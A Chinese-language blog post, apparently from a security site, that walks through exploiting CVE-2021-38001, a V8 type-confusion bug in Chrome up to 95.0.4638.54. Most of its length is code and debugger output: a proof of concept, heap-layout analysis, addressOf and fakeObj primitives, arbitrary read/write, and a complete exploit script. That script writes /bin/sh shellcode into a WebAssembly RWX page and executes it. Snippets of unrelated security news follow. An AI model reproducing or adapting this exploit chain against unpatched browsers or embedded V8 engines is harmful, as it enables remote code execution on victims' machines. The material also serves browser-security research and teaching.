CVE-2021-38001漏洞利用

VSole2022-09-18 17:13:26

受影响的Chrome最高版本为:95.0.4638.54

受影响的V8最高版本为:9.5.172.21

issue编号:1260577

POC

import('./1.mjs').then((m1) => {    var f64 = new Float64Array(1);    var bigUint64 = new BigUint64Array(f64.buffer);    var u32 = new Uint32Array(f64.buffer);     function d2u(v) {        f64[0] = v;        return u32;    }    function u2d(lo, hi) {        u32[0] = lo;        u32[1] = hi;        return f64[0];    }    function ftoi(f){        f64[0] = f;        return bigUint64[0];    }    function itof(i){        bigUint64[0] = i;        return f64[0];    }    class C {        m() {            return super.x;        }    }    obj_prop_ut_fake = {};    for (let i = 0x0; i < 0x11; i++) {        obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);    }    C.prototype.__proto__ = m1;    function trigger() {        let c = new C();         c.x0 = obj_prop_ut_fake;        let res = c.m();        return res;    }    for (let i = 0; i < 10; i++) {        trigger();    }    let evil = trigger();    %DebugPrint(evil);});

漏洞利用

运行后可以看出,evil 变量被当作一个整数直接打印了,这意味着 evil 似乎变成了一个指针,能够指向任意一个对象了:

DebugPrint: Smi: 0x20202021 (538976289)

此处 0x20202021 * 2 = 0x40404042

正好是我们设定的值。

但目前我们还需要有办法泄露地址,从可能让 evil 指向一个合适的目标,显然,我们目前缺少能够泄露地址的手段,但回顾其上一章曾说过的,v8 对存储的地址进行了压缩,只保留了低 32 字节,那么实际情况会是什么样的呢?先试着用一个简单的脚本测试一下:

a=[2.1]b=[a];arr = Array(0xf700);%DebugPrint(a);%DebugPrint(b);%DebugPrint(arr);
DebugPrint: 0x54408049941: [JSArray]//第一次运行DebugPrint: 0x5440804995d: [JSArray]DebugPrint: 0x5440804996d: [JSArray] DebugPrint: 0x54008049941: [JSArray]//第二次运行DebugPrint: 0x5400804995d: [JSArray]DebugPrint: 0x5400804996d: [JSArray] DebugPrint: 0x3b0d08049941: [JSArray]//第三次运行DebugPrint: 0x3b0d0804995d: [JSArray]DebugPrint: 0x3b0d0804996d: [JSArray]

尽管三次运行,每次打印的地址都不一样,但如果只看其低 32bit 的话,这些地址是完全相同的。在地址压缩的情况下,我们需要写入的地址只需要低 32bit 即可,这意味着,我们不需要任何泄露也能够让 evil 指向一块我们希望的地址,因为它们的低位不会因为 ASLR 而改变。

V8下的堆喷技术

网上一搜堆喷,首先出来的就是通过跳板指令去滑到 shellcode,但那种利用条件以目前的技术来看似乎基本上无法利用了,毕竟它要求堆是可读可写可执行的,才可能往里面插跳板指令,至少在 v8 中是不太可能,但通过开辟大内存块来调整内存结构的思路是可以借用的。

一般在 v8 的分析文章中常说的堆内存指的是如下这段内存:

0x23200000000      0x2320014e000 r-xp   14e000 0      [anon_23200000]0x2320014e000      0x23200180000 ---p    32000 0      [anon_2320014e]0x23200180000      0x23200183000 rw-p     3000 0      [anon_23200180]0x23200183000      0x23200184000 ---p     1000 0      [anon_23200183]0x23200184000      0x2320019a000 r-xp    16000 0      [anon_23200184]0x2320019a000      0x232001bf000 ---p    25000 0      [anon_2320019a]0x232001bf000      0x23208000000 ---p  7e41000 0      [anon_232001bf]0x23208000000      0x2320802a000 r--p    2a000 0      [anon_23208000]0x2320802a000      0x23208040000 ---p    16000 0      [anon_2320802a]0x23208040000      0x2320814d000 rw-p   10d000 0      [anon_23208040]0x2320814d000      0x23208180000 ---p    33000 0      [anon_2320814d]0x23208180000      0x23208183000 rw-p     3000 0      [anon_23208180]0x23208183000      0x232081c0000 ---p    3d000 0      [anon_23208183]0x232081c0000      0x2320833e000 rw-p   17e000 0      [anon_232081c0]0x2320833e000      0x23300000000 ---p f7cc2000 0      [anon_2320833e]

其中,以 0x2320833e000 地址开始的这段是尚未分配的内存区,而以 0x232081c0000 地址开始的则是刚刚分配出来的堆内存。

并且可以注意到,这一大段内存都是地址连续的,因此我们可以通过开辟足够大的内存块来让某个地址处的内存能够读写,并且这个地址是我们已知的。那么问题就变成了,具体应该开辟多大的内存区?

对比一下堆空间和网上能够找到的资料,笔者用一段简单的测试代码说明:

%SystemBreak(); arr = Array(0xf700);arr[0]=1;%DebugPrint(arr);%SystemBreak(); arr = Array(0xf700);arr[0]=2;%DebugPrint(arr);%SystemBreak();
0x2f43081c0000     0x2f4308240000 rw-p    80000 0      [anon_2f43081c0]//第一个断点0x2f4308240000     0x2f4400000000 ---p f7dc0000 0      [anon_2f4308240] 0x2f43081c0000     0x2f4308280000 rw-p    c0000 0      [anon_2f43081c0]//第二个断点0x2f4308280000     0x2f4400000000 ---p f7d80000 0      [anon_2f4308280] 0x2f43081c0000     0x2f43082c0000 rw-p   100000 0      [anon_2f43081c0]//第三个断点0x2f43082c0000     0x2f4400000000 ---p f7d40000 0      [anon_2f43082c0]

似乎堆结构在以有规律的增长,接下来实际看一下内存中的状况:

pwndbg> x/10gx 0x2f43081c00000x2f43081c0000:    0x0000000000040000    0x00000000000000040x2f43081c0010:    0x000055775c5d9e68    0x00002f43081c21180x2f43081c0020:    0x00002f4308200000    0x000000000003dee80x2f43081c0030:    0x0000000000000000    0x00000000000021180x2f43081c0040:    0x000055775c65c210    0x000055775c5cbeb0 pwndbg> x/10gx 0x2f43081c0000+0x400000x2f4308200000:    0x0000000000040000    0x00000000000000040x2f4308200010:    0x000055775c5d9e68    0x00002f43082021180x2f4308200020:    0x00002f4308240000    0x000000000003dee80x2f4308200030:    0x0000000000000000    0x00000000000021180x2f4308200040:    0x000055775c65c870    0x000055775c5cbeb0 pwndbg> x/10gx 0x2f43081c0000+0x40000+0x400000x2f4308240000:    0x0000000000040000    0x00000000000000320x2f4308240010:    0x000055775c5d9e68    0x00002f43082421180x2f4308240020:    0x00002f430827fd20    0x000000000003dc080x2f4308240030:    0x0000000000000000    0x00000000000021180x2f4308240040:    0x000055775c65cd50    0x000055775c5cbeb0

我们按照每次增长的地址空间大小去跟踪内存,发现它们存在一定的规律,对照一些资料能够大概得到这样的结论:

0x2f43081c0000:内存块的大小

0x2f43081c0018:内存块可用空间的起始地址

0x2f43081c0020:表示下一个内存块的地址

0x2f43081c0008:已被使用的内存大小(0x3dee8+0x2118=0x40000)

0x2f43081c0038:元数据的占用大小

再对比一下打印出来的数据信息:

pwndbg> job 0x2f430804999d - elements: 0x2f4308242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS] - length: 63232 - properties: 0x2f430800222d <FixedArray[0]> } - elements: 0x2f4308242119 <FixedArray[63232]> {           0: 1     1-63231: 0x2f430800242d <the_hole> } pwndbg> job 0x2f43080499ad - elements: 0x2f4308282119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS] - length: 63232 - properties: 0x2f430800222d <FixedArray[0]> } - elements: 0x2f4308282119 <FixedArray[63232]> {           0: 2     1-63231: 0x2f430800242d <the_hole> }

可以发现,两个 Array 的储存数据地址 elements 都从 0x2119+自身堆地址 处开始,顺序储存,这意味着我们能够通过固定的低位偏移得到这两个数据的地址信息,因此甚至不需要泄露地址也能够获取 elements 的地址。

这种思路和传统的堆喷有些差别,因为它是通过开辟内存空间使得固定地址的内存可读写,而传统堆喷则是通过开辟大内存使得随机访问能够命中。

利用思路

既然我们能够知道 Array 对象的 elements 成员地址,就能够向其中伪造数据数据,将伪造的内容装成一个对象,从而实现 addressOf 和 fakeObject,进而完成任意地址读写。

首先,我们令 evil 指向一个新 Array 的 elements 中的 value ,然后在这个 Array 中布置数据进行伪造:

···for (let i = 0x0; i < 0x11; i++) {    obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0);}···var demo_array=new Array(0xf000);demo_ele_addr=0x82c2120;fake_buf=demo_ele_addr+0x200+8;array_map0 = itof(0x1604040408002119n); double_array_map_addr=demo_ele_addr+0x100;double_array_map_value=itof(0x0a0007ff11000834n); demo_array[0x100/8]=array_map0;demo_array[0x108/8]=double_array_map_value; obj_array_map_addr=demo_ele_addr+0x150;obj_array_map_value=itof(0x0a0007ff09000834n); demo_array[0x150/8]=array_map0;demo_array[0x158/8]=obj_array_map_value; demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);demo_array[0x008/8]=u2d(fake_buf+1,0x2);

其中值得一提的是,map 的伪造过程:

demo_ele_addr=0x82c2120;fake_buf=demo_ele_addr+0x200+8; array_map0 = itof(0x1604040408002119n);obj_array_map_value=itof(0x0a0007ff09000834n);obj_array_map_addr=demo_ele_addr+0x150; demo_array[0x150/8]=array_map0;demo_array[0x158/8]=obj_array_map_value; demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);demo_array[0x008/8]=u2d(fake_buf+1,0x2);

我们的伪造目标地址是 &demo_array[0] ,上面的代码和 C 的等价伪代码为:

*(demo_array) = obj_array_map_addr+1;*(demo_array+4) = 0;*(demo_array+8) = fake_buf+1;*(demo_array+12) = 2; *(obj_array_map_addr) = 0x0a0007ff09000834;

这种操作是合法的,我们可以发现, obj_array_map_addr 的值是已知的,其值是笔者随意声明一个对象数组后在其 map 地址处实际拷贝出来的值,也就是说,map 值本身是固定的,和地址无关的,只需要让指针指向该值,就会正常将其识别为对应的类型。

map 结构体当然是地址有关的,但用以区分类型的值却和地址无关,而在对变量进行取值或写入时,只需要读取 map 值而不需要其他的结构体成员。

而我们令其 elements 指针指向 fake_buf ,length 值为 2,但又有些怪异的是,我们不需要伪造 elements 结构体的 map。

结论是,向这个伪造的 elements 中写入数据时,不需要读取其 map 结构体,只需要上层的对象类型的写入或读取的参数相应即可。

addressOf

接下来就是尝试如何去构造这个函数:

function addressOf(target_var){   demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);   evil[0]=target_var;   demo_array[0x000/8]=u2d(double_array_map_addr+1,0);   let addr=ftoi(evil[0])-1n;   console.log("[*] addr: 0x"+hex(addr));   demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);   return addr;}

首先,我们令 evil 的结构体的 map 为 obj array ,使其成为对象数组,将其放入以后,再转回浮点数数组后即可读取,同时在最后一步,我们又将其转回了对象类型,这并没有特殊的意义,单纯是个人习惯。

fakeObject

function fakeObj(target_addr){    demo_array[0x000/8]=u2d(double_array_map_addr+1,0);    console.log("[*] set addr: 0x"+hex(target_addr));    //evil[0]=itof(target_addr+1n);    demo_array[0x210/8]=itof(target_addr+1n);    demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);    let vul=evil[0];    demo_array[0x000/8]=u2d(double_array_map_addr+1,0);    return vul;}

这个操作和上面的 addressOf 函数相似,但注意到笔者此处注释掉了一行代码,它道理上似乎与下一行操作等价,但经过笔者的测试,这个操作会有些许差错,导致写入的数值不符合预期,但由于缓冲区本身也是我们伪造的,所以可以直接通过写入 demo_array[0x210/8] 去改变 evil[0] 的数值。

伪造对象

虽说已经能够读取变量地址和伪造对象地址,但还没涉及到具体的应用,这部分内容本就应该根据上面的两个函数进行调整,并且,我们还没有完全实现任意地址读写。

var fake_array = [    u2d(double_array_map_addr+1, 0),    itof(0x4141414141414141n)];var fake_ob=addressOf(fake_array);fake_addr=fake_ob+0x20n+4n;var t=fakeObj(fake_addr); var wasmins=addressOf(wasmInstance);fake_array[1]=itof(wasmins+0x68n+1n-8n-8n);rwx_addr=ftoi(t[0]);console.log("[*] value: 0x"+hex(ftoi(t[0])));

首先创建这样一个浮点数数组,通过 addressOf 获取其地址以后,我们就能够通过计算获取到 &fake_array[0] 的地址,那么我们就能够将这个数组的内容伪造成一个新的对象,这样我们就能随意设置新对象的 elements 地址,如果我们让 fake_array[0] 是浮点数数组的 map,那么就会让这个伪造对象为浮点数数组,实现任意地址读写。

接下来只需要调整便宜,让 t[0] 读取到 wasmInstance+0x68 处的新内存段地址即可。

copy shellcode

var shellcode = [    0x2fbb485299583b6an,    0x5368732f6e69622fn,    0x050f5e5457525f54n];function copy_shellcode(shellcode,addr){    var data_buf=new ArrayBuffer(shellcode.length*8);    var data_view=new DataView(data_buf);    var back_sotre_addr=addressOf(data_buf)+0x18n;    fake_array[1]=itof(back_sotre_addr-3n);    t[0]=itof(addr);    for (let i=0;i<shellcode.length;++i)        data_view.setFloat64(i*8,itof(shellcode[i]),true);}copy_shellcode(shellcode,rwx_addr);

这一段的内容就同上面所描述的相似,代码也并不是很长,读者可以简单理解一下。

EXP

import('./2.mjs').then((m1) => {    var f64 = new Float64Array(1);    var bigUint64 = new BigUint64Array(f64.buffer);    var u32 = new Uint32Array(f64.buffer);    wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);    var wasmModule = new WebAssembly.Module(wasmCode);    var wasmInstance = new WebAssembly.Instance(wasmModule, {});    var f = wasmInstance.exports.main;    function d2u(v) {        f64[0] = v;        return u32;    }    function u2d(lo, hi) {        u32[0] = lo;        u32[1] = hi;        return f64[0];    }    function ftoi(f){        f64[0] = f;        return bigUint64[0];    }    function itof(i){        bigUint64[0] = i;        return f64[0];    }    function hex(i){        return i.toString(16).padStart(8, "0");    }    class C {        m() {            return super.x;        }    }    obj_prop_ut_fake = {};    for (let i = 0x0; i < 0x11; i++) {        obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0);    }    C.prototype.__proto__ = m1;    function trigger() {        let c = new C();         c.x0 = obj_prop_ut_fake;        let res = c.m();        return res;    }    for (let i = 0; i < 10; i++) {        trigger();    }    let evil = trigger();     var demo_array=new Array(0xf000);    var demo_array=new Array(0xf000);    demo_ele_addr=0x82c2120;    fake_buf=demo_ele_addr+0x200+8;    array_map0 = itof(0x1604040408002119n);     double_array_map_addr=demo_ele_addr+0x100;    double_array_map_value=itof(0x0a0007ff11000834n);     demo_array[0x100/8]=array_map0;    demo_array[0x108/8]=double_array_map_value;     obj_array_map_addr=demo_ele_addr+0x150;    obj_array_map_value=itof(0x0a0007ff09000834n);     demo_array[0x150/8]=array_map0;    demo_array[0x158/8]=obj_array_map_value;     demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);    demo_array[0x008/8]=u2d(fake_buf+1,0x2);     function addressOf(target_var){       demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);       evil[0]=target_var;       demo_array[0x000/8]=u2d(double_array_map_addr+1,0);       let addr=ftoi(evil[0])-1n;       console.log("[*] addr: 0x"+hex(addr));       demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);       return addr;    }     var fake_array = [        u2d(double_array_map_addr+1, 0),        itof(0x4141414141414141n)    ];    function fakeObj(target_addr){        demo_array[0x000/8]=u2d(double_array_map_addr+1,0);        console.log("[*] set addr: 0x"+hex(target_addr));        demo_array[0x210/8]=itof(target_addr+1n);        demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);        let vul=evil[0];        demo_array[0x000/8]=u2d(double_array_map_addr+1,0);        return vul;    }     var wasmins=addressOf(wasmInstance);    var fake_ob=addressOf(fake_array);    fake_addr=fake_ob+0x20n+4n;    var t=fakeObj(fake_addr);    console.log("[*] addr: 0x"+hex(fake_addr));    fake_array[1]=itof(wasmins+0x68n+1n-8n-8n);     rwx_addr=ftoi(t[0]);    console.log("[*] value: 0x"+hex(ftoi(t[0])));     function copy_shellcode(shellcode,addr){        var data_buf=new ArrayBuffer(shellcode.length*8);        var data_view=new DataView(data_buf);        var back_sotre_addr=addressOf(data_buf)+0x18n;        fake_array[1]=itof(back_sotre_addr-3n);        t[0]=itof(addr);        for (let i=0;i<shellcode.length;++i)            data_view.setFloat64(i*8,itof(shellcode[i]),true);    }     var shellcode = [        0x2fbb485299583b6an,        0x5368732f6e69622fn,        0x050f5e5457525f54n    ];     copy_shellcode(shellcode,rwx_addr);    f();});
本作品采用《CC 协议》,转载必须注明作者和本文链接
CVE-2021-38001漏洞利用
2022-09-18 17:13:26
漏洞利用运行后可以看出,evil 变量被当作一个整数直接打印了,这意味着 evil 似乎变成了一个指针,能够指向任意一个对象了:DebugPrint: Smi: 0x20202021 . 但目前我们还需要有办法泄露地址,从可能让 evil 指向一个合适的目标,显然,我们目前缺少能够泄露地址的手段,但回顾其上一章曾说过的,v8 对存储的地址进行了压缩,只保留了低 32 字节,那么实际情况会是什么样的呢?
谷歌Chrome浏览器于10月28日推送了95.0.4638.69版紧急更新,目前,这一更新已经向 Windows、Mac、Linux版Chrome浏览器推送。 在新的版本里,Chrome修复了在前不久结束的“天府杯”国际网络安全大赛上发现的两套Chrome full chain漏洞,谷歌Chrome也再次成为对“天府杯”最早响应的厂商。
攻击者通常利用免费漏洞在运行未打补丁的Chrome版本的计算机上执行任意代码或逃离浏览器的安全沙箱。虽然谷歌表示他们检测到该零日漏洞正在被疯狂攻击且滥用中,但它没有分享有关这些事件的更多信息。在浏览器供应商发布有关此漏洞的更多详细信息之前,用户应该有足够的时间来升级Chrome并防止攻击尝试。今年Chrome第十六零日漏洞修复通过这次更新,谷歌已经解决了今年年初以来的第16个Chrome零日漏洞
包括电网恶意软件Industroyer2深入分析、全新Android漏洞利用链披露、现代安全芯片漏洞研究、APT雇佣兵披露、近五年CI/CD违规真实案例分析……
每年8月,来自世界各地的安全和黑客社区成员云集内华达州拉斯维加斯,参加一年一度的Black Hat黑客大会,并进行技能培训、攻击演示、研究成果及新品展示。
在研究人员私下警告之后,Valve 修复了一个 Dota 2 的高危漏洞。该漏洞位于 Dota 2 使用的开源 JS 引擎 V8 中,它是在 2021 年发现的,跟踪编号 CVE-2021-38003,Google 在 2021 年 10 月修复了漏洞,但 Valve 直到上个月才修复,期间隔了 15 个月。安全公司 Avast 的研究人员发现,已经有一名黑客利用修补的拖延而发布了 4 个自定义游戏模式利用漏洞。Dota 2 支持自定义游戏模式,用户通过一个验证流程递交自己开发的自定义模式后可以公开发布供其他玩家下载。
Reddit 称泄露的主要是企业联系人以及前和现员工的联络信息,它建议用户为保护账号安全启用 2FA。针对此事件,公司已实施额外的网络安全措施,重置所有公司密码,并通知执法部门。苹果表示已经有证据表明,黑客已经利用漏洞发起攻击。该漏洞是一个类型混淆问题,苹果表示已通过改进检查解决了该问题。
2月13日消息,未知的威胁行为者为 Dota 2 游戏创建了恶意游戏模式,这些模式可能已经被利用来建立对玩家系统的后门访问。ek在上周发布的一份报告中说。目前,游戏发行商Valve已经在202年1月12日的更新版本中修复了该漏洞。虽然向Steam商店发布自定义游戏模式需要经过Valve的审查,但威胁行为者还是成功地绕过了审查。Avast表示,目前还不知道开发者创建这些游戏模式背后的最终目的是什么。
攻击者创建的恶意游戏模式能够使其远程执行命令,并有可能在被感染的设备上安装更多的恶意软件。
2023年,数据泄露和网络攻击事件仍然频发,涉及面广,影响力大,很多全球知名的企业组织也因此面临着监管合规与社会舆情的双重压力。
VSole
网络安全专家